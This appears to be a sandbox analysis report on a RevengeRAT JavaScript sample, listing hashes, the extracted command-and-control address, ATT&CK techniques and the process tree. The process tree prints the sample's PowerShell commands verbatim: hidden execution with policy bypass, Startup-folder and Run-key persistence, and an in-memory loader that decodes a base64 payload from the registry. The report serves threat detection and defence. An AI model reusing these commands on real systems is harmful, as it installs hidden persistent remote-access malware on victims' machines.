revengerat | d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd

General

Target

d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js
Size

60KB
MD5

5508be73f4288131312fe9dcbe64322c
SHA1

f579ae533109afddd4d9e528c7c393035cd80e7a
SHA256

d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd
SHA512

0f22d6e8378164326cf1634061281e765b29e3b0bef2eb2f1c3fd30d84a1554233c8b1eb930b6df431e982c0ce46b22f451b491892bc2b1c0a1ae60a66e2356f
SSDEEP

768:qze48RhtXFS/81q/y1wGU8a1aIIEHU8aIIFTTV+i2jsm888esI8X88888gKV7+lA:qC48xhtaGcdIh8aIIxgFv

Score

10^/10

revengerat nyancatrevenge execution persistence trojan

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

54.146.241.16:5222

Mutex

f9796de67e

Signatures

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat

Blocklisted process makes network request 4 IoCs

flow	pid	Process
2	2632	powershell.exe
3	2632	powershell.exe
4	2632	powershell.exe
5	2632	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2716	powershell.exe
2828	powershell.exe
2552	powershell.exe
2632	powershell.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows\CurrentVersion\Run\cocacola = "C:\\Users\\Admin\\AppData\\Roaming\\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js"	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0	powershell.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2716	powershell.exe
2828	powershell.exe
2552	powershell.exe
2632	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2716	powershell.exe
Token: SeDebugPrivilege	2828	powershell.exe
Token: SeDebugPrivilege	2552	powershell.exe
Token: SeDebugPrivilege	2632	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2152 wrote to memory of 2716	2152	wscript.exe	31
PID 2152 wrote to memory of 2716	2152	wscript.exe	31
PID 2152 wrote to memory of 2716	2152	wscript.exe	31
PID 2716 wrote to memory of 2764	2716	powershell.exe	33
PID 2716 wrote to memory of 2764	2716	powershell.exe	33
PID 2716 wrote to memory of 2764	2716	powershell.exe	33
PID 2764 wrote to memory of 2828	2764	wscript.exe	34
PID 2764 wrote to memory of 2828	2764	wscript.exe	34
PID 2764 wrote to memory of 2828	2764	wscript.exe	34
PID 2764 wrote to memory of 2552	2764	wscript.exe	36
PID 2764 wrote to memory of 2552	2764	wscript.exe	36
PID 2764 wrote to memory of 2552	2764	wscript.exe	36
PID 2764 wrote to memory of 2632	2764	wscript.exe	38
PID 2764 wrote to memory of 2632	2764	wscript.exe	38
PID 2764 wrote to memory of 2632	2764	wscript.exe	38

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2152
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js'));wscript 'C:\Users\Admin\AppData\Roaming\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2716
- - C:\Windows\system32\wscript.exe
    "C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Roaming\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2764
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\Admin\AppData\Roaming\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js' -PropertyType String -Force;"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Adds Run key to start application
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2828
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js'))"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Drops startup file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2552
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2632

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KK2X576DW6BVHI1PKRXG.temp

Filesize
7KB

MD5
28a91547a923fb82cafce805e4b5bfef

SHA1
93fe48e8f08066d51c38209b33b6d129e0b65f90

SHA256
19403ee7c07468bc1cfcdcb19ddfa14cc86e0f019702a3f56116ae0975eeb4dd

SHA512
045b87d67e498800ae057bd08459da2eec5e73eb7aa517613e5c207239f211af08482c7d6f186d01ed094f521ffd391713f1e272ce5ab77a9fe77463c80e4c3d

Download Submit
C:\Users\Admin\AppData\Roaming\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js

Filesize
60KB

MD5
5508be73f4288131312fe9dcbe64322c

SHA1
f579ae533109afddd4d9e528c7c393035cd80e7a

SHA256
d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd

SHA512
0f22d6e8378164326cf1634061281e765b29e3b0bef2eb2f1c3fd30d84a1554233c8b1eb930b6df431e982c0ce46b22f451b491892bc2b1c0a1ae60a66e2356f

Download Submit
memory/2632-30-0x0000000002970000-0x000000000297A000-memory.dmp

Filesize
40KB

Download
memory/2716-7-0x000007FEF51C0000-0x000007FEF5B5D000-memory.dmp

Filesize
9.6MB

Download
memory/2716-6-0x0000000002890000-0x0000000002898000-memory.dmp

Filesize
32KB

Download
memory/2716-8-0x000007FEF51C0000-0x000007FEF5B5D000-memory.dmp

Filesize
9.6MB

Download
memory/2716-9-0x000007FEF51C0000-0x000007FEF5B5D000-memory.dmp

Filesize
9.6MB

Download
memory/2716-4-0x000007FEF547E000-0x000007FEF547F000-memory.dmp

Filesize
4KB

Download
memory/2716-10-0x000007FEF51C0000-0x000007FEF5B5D000-memory.dmp

Filesize
9.6MB

Download
memory/2716-12-0x000007FEF51C0000-0x000007FEF5B5D000-memory.dmp

Filesize
9.6MB

Download
memory/2716-5-0x000000001B530000-0x000000001B812000-memory.dmp

Filesize
2.9MB

Download
memory/2716-31-0x000007FEF547E000-0x000007FEF547F000-memory.dmp

Filesize
4KB

Download
memory/2716-32-0x000007FEF51C0000-0x000007FEF5B5D000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads